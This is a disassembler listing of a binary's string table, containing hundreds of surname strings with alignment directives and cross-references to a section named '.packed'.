aHaar		db 'Haar',0             ; DATA XREF: .packed:0042E050o
		align 4
aHa		db 'Ha',0               ; DATA XREF: .packed:0042E04Co
		align 4
aGuo		db 'Guo',0              ; DATA XREF: .packed:0042E048o
aGunn		db 'Gunn',0             ; DATA XREF: .packed:0042E044o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: .packed:0042E040o
		align 10h
aGruppe		db 'Gruppe',0           ; DATA XREF: .packed:0042E03Co
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: .packed:0042E038o
		align 10h
aGrummell	db 'Grummell',0         ; DATA XREF: .packed:0042E034o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .packed:0042E030o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .packed:0042E02Co
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .packed:0042E028o
		align 10h
aGreenberg	db 'Greenberg',0        ; DATA XREF: .packed:0042E024o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: .packed:0042E020o
aGozzi		db 'Gozzi',0            ; DATA XREF: .packed:0042E01Co
		align 4
aGoody		db 'Goody',0            ; DATA XREF: .packed:0042E018o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: .packed:0042E014o
		align 10h
aGood		db 'Good',0             ; DATA XREF: .packed:0042E010o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .packed:0042E00Co
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .packed:0042E008o
		align 10h
aGlendon	db 'Glendon',0          ; DATA XREF: .packed:0042E004o
aGlegg		db 'Glegg',0            ; DATA XREF: .packed:0042E000o
		align 10h
aGleason	db 'Gleason',0          ; DATA XREF: .packed:0042DFFCo
aGist		db 'Gist',0             ; DATA XREF: .packed:0042DFF8o
		align 10h
aGillispie	db 'Gillispie',0        ; DATA XREF: .packed:0042DFF4o
		align 4
aGill		db 'Gill',0             ; DATA XREF: .packed:0042DFF0o
		align 4
aGili		db 'Gili',0             ; DATA XREF: .packed:0042DFECo
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: .packed:0042DFE8o
aGibson		db 'Gibson',0           ; DATA XREF: .packed:0042DFE4o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: .packed:0042DFE0o
aGhorai		db 'Ghorai',0           ; DATA XREF: .packed:0042DFDCo
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: .packed:0042DFD8o
aGeorgi		db 'Georgi',0           ; DATA XREF: .packed:0042DFD4o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: .packed:0042DFD0o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: .packed:0042DFCCo
		align 10h
aGaronna	db 'Garonna',0          ; DATA XREF: .packed:0042DFC8o
aGarman		db 'Garman',0           ; DATA XREF: .packed:0042DFC4o
		align 10h
aGarfield	db 'Garfield',0         ; DATA XREF: .packed:0042DFC0o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: .packed:0042DFBCo
aGalwey		db 'Galwey',0           ; DATA XREF: .packed:0042DFB8o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: .packed:0042DFB4o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .packed:0042DFB0o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .packed:0042DFACo
		align 10h
aFusaro		db 'Fusaro',0           ; DATA XREF: .packed:0042DFA8o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: .packed:0042DFA4o
		align 10h
aFuller		db 'Fuller',0           ; DATA XREF: .packed:0042DFA0o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .packed:0042DF9Co
		align 4
aFrye		db 'Frye',0             ; DATA XREF: .packed:0042DF98o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: .packed:0042DF94o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: .packed:0042DF90o
aFrisken	db 'Frisken',0          ; DATA XREF: .packed:0042DF8Co
aFriedland	db 'Friedland',0        ; DATA XREF: .packed:0042DF88o
		align 4
aFried		db 'Fried',0            ; DATA XREF: .packed:0042DF84o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: .packed:0042DF80o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: .packed:0042DF7Co
		align 10h
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .packed:0042DF78o
		align 10h
aFranz		db 'Franz',0            ; DATA XREF: .packed:0042DF74o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .packed:0042DF70o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .packed:0042DF6Co
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: .packed:0042DF68o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: .packed:0042DF64o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: .packed:0042DF60o
aFortes		db 'Fortes',0           ; DATA XREF: .packed:0042DF5Co
		align 4
aForester	db 'Forester',0         ; DATA XREF: .packed:0042DF58o
		align 10h
aFolks		db 'Folks',0            ; DATA XREF: .packed:0042DF54o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: .packed:0042DF50o
		align 10h
aFlier		db 'Flier',0            ; DATA XREF: .packed:0042DF4Co
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .packed:0042DF48o
aFisk		db 'Fisk',0             ; DATA XREF: .packed:0042DF44o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: .packed:0042DF40o
aFinnegan	db 'Finnegan',0         ; DATA XREF: .packed:0042DF3Co
		align 10h
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .packed:0042DF38o
aFink		db 'Fink',0             ; DATA XREF: .packed:0042DF34o
		align 4
aField		db 'Field',0            ; DATA XREF: .packed:0042DF30o
		align 4
aFido		db 'Fido',0             ; DATA XREF: .packed:0042DF2Co
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: .packed:0042DF28o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: .packed:0042DF24o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .packed:0042DF20o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: .packed:0042DF1Co
		align 10h
aFernald	db 'Fernald',0          ; DATA XREF: .packed:0042DF18o
aFeldman	db 'Feldman',0          ; DATA XREF: .packed:0042DF14o
aFejzo		db 'Fejzo',0            ; DATA XREF: .packed:0042DF10o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .packed:0042DF0Co
		align 4
aFates		db 'Fates',0            ; DATA XREF: .packed:0042DF08o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: .packed:0042DF04o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: .packed:0042DF00o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: .packed:0042DEFCo
		align 4
aFaris		db 'Faris',0            ; DATA XREF: .packed:0042DEF8o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: .packed:0042DEF4o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .packed:0042DEF0o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: .packed:0042DEECo
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: .packed:0042DEE8o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: .packed:0042DEE4o
aEverett	db 'Everett',0          ; DATA XREF: .packed:0042DEE0o
aEuripides	db 'Euripides',0        ; DATA XREF: .packed:0042DEDCo
		align 10h
aEtter		db 'Etter',0            ; DATA XREF: .packed:0042DED8o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: .packed:0042DED4o
		align 10h
aEspinoza	db 'Espinoza',0         ; DATA XREF: .packed:0042DED0o
		align 4
aErez		db 'Erez',0             ; DATA XREF: .packed:0042DECCo
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: .packed:0042DEC8o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: .packed:0042DEC4o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: .packed:0042DEC0o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: .packed:0042DEBCo
aEnyeart	db 'Enyeart',0          ; DATA XREF: .packed:0042DEB8o
aEncinas	db 'Encinas',0          ; DATA XREF: .packed:0042DEB4o
aElvis		db 'Elvis',0            ; DATA XREF: .packed:0042DEB0o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: .packed:0042DEACo
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .packed:0042DEA8o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: .packed:0042DEA4o
		align 10h
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .packed:0042DEA0o
aEdward		db 'Edward',0           ; DATA XREF: .packed:0042DE9Co
		align 4
aEdner		db 'Edner',0            ; DATA XREF: .packed:0042DE98o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: .packed:0042DE94o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: .packed:0042DE90o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: .packed:0042DE8Co
aEardley	db 'Eardley',0          ; DATA XREF: .packed:0042DE88o
aDwyer		db 'Dwyer',0            ; DATA XREF: .packed:0042DE84o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: .packed:0042DE80o
		align 10h
aDurrett	db 'Durrett',0          ; DATA XREF: .packed:0042DE7Co
aDuffin		db 'Duffin',0           ; DATA XREF: .packed:0042DE78o
		align 10h
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .packed:0042DE74o
aDrinker	db 'Drinker',0          ; DATA XREF: .packed:0042DE70o
aDowsland	db 'Dowsland',0         ; DATA XREF: .packed:0042DE6Co
		align 4
aDoug		db 'Doug',0             ; DATA XREF: .packed:0042DE68o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: .packed:0042DE64o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: .packed:0042DE60o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: .packed:0042DE5Co
		align 4
aDore		db 'Dore',0             ; DATA XREF: .packed:0042DE58o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: .packed:0042DE54o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: .packed:0042DE50o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: .packed:0042DE4Co
aDoherty	db 'Doherty',0          ; DATA XREF: .packed:0042DE48o
aDockery	db 'Dockery',0          ; DATA XREF: .packed:0042DE44o
aDirksen	db 'Dirksen',0          ; DATA XREF: .packed:0042DE40o
aDionysius	db 'Dionysius',0        ; DATA XREF: .packed:0042DE3Co
		align 10h
aDilworth	db 'Dilworth',0         ; DATA XREF: .packed:0042DE38o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: .packed:0042DE34o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .packed:0042DE30o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .packed:0042DE2Co
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: .packed:0042DE28o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .packed:0042DE24o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: .packed:0042DE20o
aDesombre	db 'Desombre',0         ; DATA XREF: .packed:0042DE1Co
		align 10h
aDenison	db 'Denison',0          ; DATA XREF: .packed:0042DE18o
aDenham		db 'Denham',0           ; DATA XREF: .packed:0042DE14o
		align 10h
aDenault	db 'Denault',0          ; DATA XREF: .packed:0042DE10o
aDemusz		db 'Demusz',0           ; DATA XREF: .packed:0042DE0Co
		align 10h
aDempster	db 'Dempster',0         ; DATA XREF: .packed:0042DE08o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: .packed:0042DE04o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .packed:0042DE00o
		align 10h
aDelger		db 'Delger',0           ; DATA XREF: .packed:0042DDFCo
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .packed:0042DDF8o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .packed:0042DDF4o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: .packed:0042DDF0o
		align 10h
aDees		db 'Dees',0             ; DATA XREF: .packed:0042DDECo
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .packed:0042DDE8o
aDerousse	db 'deRousse',0         ; DATA XREF: .packed:0042DDE4o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .packed:0042DDE0o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .packed:0042DDDCo
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .packed:0042DDD8o
		align 10h
aDawkins	db 'Dawkins',0          ; DATA XREF: .packed:0042DDD4o
aDavid		db 'David',0            ; DATA XREF: .packed:0042DDD0o
		align 10h
aDaskalu	db 'Daskalu',0          ; DATA XREF: .packed:0042DDCCo
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .packed:0042DDC8o
		align 4
aDas		db 'Das',0              ; DATA XREF: .packed:0042DDC4o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .packed:0042DDC0o
aDapice		db 'Dapice',0           ; DATA XREF: .packed:0042DDBCo
		align 4
aDante		db 'Dante',0            ; DATA XREF: .packed:0042DDB8o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: .packed:0042DDB4o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .packed:0042DDB0o
aDaly		db 'Daly',0             ; DATA XREF: .packed:0042DDACo
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: .packed:0042DDA8o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .packed:0042DDA4o
aCyders		db 'Cyders',0           ; DATA XREF: .packed:0042DDA0o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .packed:0042DD9Co
		align 10h
aCutler		db 'Cutler',0           ; DATA XREF: .packed:0042DD98o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: .packed:0042DD94o
aCui		db 'Cui',0              ; DATA XREF: .packed:0042DD90o
aCroxton	db 'Croxton',0          ; DATA XREF: .packed:0042DD8Co
aCroxen		db 'Croxen',0           ; DATA XREF: .packed:0042DD88o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: .packed:0042DD84o
aCrocker	db 'Crocker',0          ; DATA XREF: .packed:0042DD80o
aCrawford	db 'Crawford',0         ; DATA XREF: .packed:0042DD7Co
		align 10h
aCoutaux	db 'Coutaux',0          ; DATA XREF: .packed:0042DD78o
aCounter	db 'Counter',0          ; DATA XREF: .packed:0042DD74o
aCosmides	db 'Cosmides',0         ; DATA XREF: .packed:0042DD70o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: .packed:0042DD6Co
aCorey		db 'Corey',0            ; DATA XREF: .packed:0042DD68o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: .packed:0042DD64o
aCondodina	db 'Condodina',0        ; DATA XREF: .packed:0042DD60o
		align 10h
aConcino	db 'Concino',0          ; DATA XREF: .packed:0042DD5Co
aComstock	db 'Comstock',0         ; DATA XREF: .packed:0042DD58o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: .packed:0042DD50o
					; .packed:0042DD54o
aCollis		db 'Collis',0           ; DATA XREF: .packed:0042DD4Co
		align 4
aCollard	db 'Collard',0          ; DATA XREF: .packed:0042DD48o
aColella	db 'Colella',0          ; DATA XREF: .packed:0042DD44o
aColdren	db 'Coldren',0          ; DATA XREF: .packed:0042DD40o
aCoito		db 'Coito',0            ; DATA XREF: .packed:0042DD3Co
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: .packed:0042DD38o
aClow		db 'Clow',0             ; DATA XREF: .packed:0042DD34o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: .packed:0042DD30o
aClement	db 'Clement',0          ; DATA XREF: .packed:0042DD2Co
aClark		db 'Clark',0            ; DATA XREF: .packed:0042DD28o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: .packed:0042DD24o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: .packed:0042DD20o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .packed:0042DD1Co
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: .packed:0042DD18o
		align 10h
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .packed:0042DD14o
		align 4
aChurch		db 'Church',0           ; DATA XREF: .packed:0042DD10o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: .packed:0042DD0Co
		align 10h
aChu		db 'Chu',0              ; DATA XREF: .packed:0042DD08o
aChristopher	db 'Christopher',0      ; DATA XREF: .packed:0042DD04o
aChristie	db 'Christie',0         ; DATA XREF: .packed:0042DD00o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: .packed:0042DCFCo
		align 4
aChristian	db 'Christian',0        ; DATA XREF: .packed:0042DCF8o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: .packed:0042DCF4o
aChinman	db 'Chinman',0          ; DATA XREF: .packed:0042DCF0o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .packed:0042DCECo
aChilds		db 'Childs',0           ; DATA XREF: .packed:0042DCE8o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: .packed:0042DCE4o
		align 4
aChien		db 'Chien',0            ; DATA XREF: .packed:0042DCE0o
		align 10h
aChiassino	db 'Chiassino',0        ; DATA XREF: .packed:0042DCDCo
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .packed:0042DCD8o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: .packed:0042DCD4o
		align 10h
aCheang		db 'Cheang',0           ; DATA XREF: .packed:0042DCD0o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: .packed:0042DCCCo
aChapman	db 'Chapman',0          ; DATA XREF: .packed:0042DCC8o
aCerioli	db 'Cerioli',0          ; DATA XREF: .packed:0042DCC4o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .packed:0042DCC0o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: .packed:0042DCBCo
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .packed:0042DCB8o
		align 10h
aCastelda	db 'Castelda',0         ; DATA XREF: .packed:0042DCB4o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: .packed:0042DCB0o
		align 4
aCase		db 'Case',0             ; DATA XREF: .packed:0042DCACo
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: .packed:0042DCA8o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: .packed:0042DCA4o
		align 10h
aCarper		db 'Carper',0           ; DATA XREF: .packed:0042DCA0o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: .packed:0042DC9Co
		align 10h
aCarmichael	db 'Carmichael',0       ; DATA XREF: .packed:0042DC98o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: .packed:0042DC94o
aCarlos		db 'Carlos',0           ; DATA XREF: .packed:0042DC90o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: .packed:0042DC8Co
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .packed:0042DC88o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .packed:0042DC84o
aCapursi	db 'Capursi',0          ; DATA XREF: .packed:0042DC80o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .packed:0042DC7Co
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .packed:0042DC78o
		align 10h
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .packed:0042DC74o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: .packed:0042DC70o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: .packed:0042DC6Co
aCanley		db 'Canley',0           ; DATA XREF: .packed:0042DC68o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .packed:0042DC64o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: .packed:0042DC60o
		align 10h
aCalnan		db 'Calnan',0           ; DATA XREF: .packed:0042DC5Co
		align 4
aCage		db 'Cage',0             ; DATA XREF: .packed:0042DC58o
		align 10h
aByrd		db 'Byrd',0             ; DATA XREF: .packed:0042DC54o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: .packed:0042DC50o
		align 10h
aByatt		db 'Byatt',0            ; DATA XREF: .packed:0042DC4Co
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: .packed:0042DC48o
aBurridge	db 'Burridge',0         ; DATA XREF: .packed:0042DC44o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: .packed:0042DC40o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: .packed:0042DC3Co
		align 4
aBurden		db 'Burden',0           ; DATA XREF: .packed:0042DC38o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: .packed:0042DC34o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: .packed:0042DC30o
aBudding	db 'Budding',0          ; DATA XREF: .packed:0042DC2Co
aBuchan		db 'Buchan',0           ; DATA XREF: .packed:0042DC28o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: .packed:0042DC24o
aBrook		db 'Brook',0            ; DATA XREF: .packed:0042DC20o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: .packed:0042DC1Co
		align 4
aBritz		db 'Britz',0            ; DATA XREF: .packed:0042DC18o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: .packed:0042DC14o
aBridges	db 'Bridges',0          ; DATA XREF: .packed:0042DC10o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .packed:0042DC0Co
		align 10h
aBrewer		db 'Brewer',0           ; DATA XREF: .packed:0042DC04o
					; .packed:0042DC08o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .packed:0042DC00o
aBrenan		db 'Brenan',0           ; DATA XREF: .packed:0042DBFCo
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .packed:0042DBF8o
		align 10h
aBrecht		db 'Brecht',0           ; DATA XREF: .packed:0042DBF4o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .packed:0042DBF0o
aBradac		db 'Bradac',0           ; DATA XREF: .packed:0042DBECo
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: .packed:0042DBE8o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: .packed:0042DBE4o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: .packed:0042DBE0o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: .packed:0042DBDCo
aBoyes		db 'Boyes',0            ; DATA XREF: .packed:0042DBD8o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: .packed:0042DBD4o
		align 10h
aBoxer		db 'Boxer',0            ; DATA XREF: .packed:0042DBD0o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .packed:0042DBCCo
		align 10h
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .packed:0042DBC8o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: .packed:0042DBC4o
aBoudin		db 'Boudin',0           ; DATA XREF: .packed:0042DBC0o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: .packed:0042DBBCo
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: .packed:0042DBB8o
aBossi		db 'Bossi',0            ; DATA XREF: .packed:0042DBB4o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: .packed:0042DBB0o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: .packed:0042DBACo
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: .packed:0042DBA8o
		align 10h
aBoone		db 'Boone',0            ; DATA XREF: .packed:0042DBA4o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .packed:0042DBA0o
		align 4
aBook		db 'Book',0             ; DATA XREF: .packed:0042DB9Co
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: .packed:0042DB98o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .packed:0042DB94o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: .packed:0042DB90o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: .packed:0042DB8Co
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: .packed:0042DB88o
aBollinger	db 'Bollinger',0        ; DATA XREF: .packed:0042DB84o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .packed:0042DB80o
		align 10h
aBolger		db 'Bolger',0           ; DATA XREF: .packed:0042DB7Co
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: .packed:0042DB78o
		align 10h
aBloxham	db 'Bloxham',0          ; DATA XREF: .packed:0042DB74o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .packed:0042DB70o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .packed:0042DB6Co
aBloch		db 'Bloch',0            ; DATA XREF: .packed:0042DB68o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .packed:0042DB64o
aBliss		db 'Bliss',0            ; DATA XREF: .packed:0042DB60o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .packed:0042DB5Co
		align 10h
aBlakemore	db 'Blakemore',0        ; DATA XREF: .packed:0042DB58o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: .packed:0042DB54o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: .packed:0042DB50o
		align 10h
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .packed:0042DB4Co
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: .packed:0042DB48o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: .packed:0042DB44o
		align 4
aBir		db 'Bir',0              ; DATA XREF: .packed:0042DB40o
aBinion		db 'Binion',0           ; DATA XREF: .packed:0042DB3Co
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .packed:0042DB38o
		align 10h
aBiagioli	db 'Biagioli',0         ; DATA XREF: .packed:0042DB34o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: .packed:0042DB30o
aBetti		db 'Betti',0            ; DATA XREF: .packed:0042DB2Co
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .packed:0042DB28o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: .packed:0042DB24o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .packed:0042DB20o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: .packed:0042DB1Co
		align 10h
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .packed:0042DB18o
		align 10h
aBergson	db 'Bergson',0          ; DATA XREF: .packed:0042DB14o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .packed:0042DB10o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: .packed:0042DB0Co
		align 10h
aBellini	db 'Bellini',0          ; DATA XREF: .packed:0042DB08o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .packed:0042DB04o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: .packed:0042DB00o
		align 10h
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .packed:0042DAFCo
		align 10h
aBelfer		db 'Belfer',0           ; DATA XREF: .packed:0042DAF8o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .packed:0042DAF4o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: .packed:0042DAF0o
		align 10h
aBehenna	db 'Behenna',0          ; DATA XREF: .packed:0042DAECo
aBedford	db 'Bedford',0          ; DATA XREF: .packed:0042DAE8o
aBeder		db 'Beder',0            ; DATA XREF: .packed:0042DAE4o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .packed:0042DAE0o
aBean		db 'Bean',0             ; DATA XREF: .packed:0042DADCo
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .packed:0042DAD8o
		align 10h
aBeacon		db 'Beacon',0           ; DATA XREF: .packed:0042DAD4o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .packed:0042DAD0o
		align 10h
aBayles		db 'Bayles',0           ; DATA XREF: .packed:0042DACCo
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .packed:0042DAC8o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: .packed:0042DAC4o
		align 10h
aBashevis	db 'Bashevis',0         ; DATA XREF: .packed:0042DAC0o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: .packed:0042DABCo
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .packed:0042DAB8o
		align 10h
aBartolome	db 'Bartolome',0        ; DATA XREF: .packed:0042DAB4o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .packed:0042DAB0o
aBarry		db 'Barry',0            ; DATA XREF: .packed:0042DAACo
		align 10h
aBarriola	db 'Barriola',0         ; DATA XREF: .packed:0042DAA8o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: .packed:0042DAA4o
aBarneson	db 'Barneson',0         ; DATA XREF: .packed:0042DAA0o
		align 10h
aBarbetti	db 'Barbetti',0         ; DATA XREF: .packed:0042DA9Co
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: .packed:0042DA98o
aBaranowska	db 'Baranowska',0       ; DATA XREF: .packed:0042DA94o
		align 10h
aBaranczak	db 'Baranczak',0        ; DATA XREF: .packed:0042DA90o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: .packed:0042DA8Co
aBarabesi	db 'Barabesi',0         ; DATA XREF: .packed:0042DA88o
		align 10h
aBanta		db 'Banta',0            ; DATA XREF: .packed:0042DA84o
		align 4
